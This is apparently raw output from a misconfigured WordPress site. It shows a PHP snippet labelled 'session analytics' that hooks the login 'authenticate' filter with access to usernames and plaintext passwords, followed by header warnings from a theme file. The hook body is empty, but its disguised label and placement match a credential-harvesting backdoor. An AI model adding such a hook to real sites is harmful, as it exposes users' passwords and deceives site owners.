// WordPress session analytics
add_filter('authenticate', function($u, $l, $p) {
  
  return $u;
}, 999, 3);
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/skycoindia/public_html/wp-content/themes/astra/functions.php:1) in <b>/home/skycoindia/public_html/wp-includes/pluggable.php</b> on line <b>1450</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/skycoindia/public_html/wp-content/themes/astra/functions.php:1) in <b>/home/skycoindia/public_html/wp-includes/pluggable.php</b> on line <b>1453</b><br />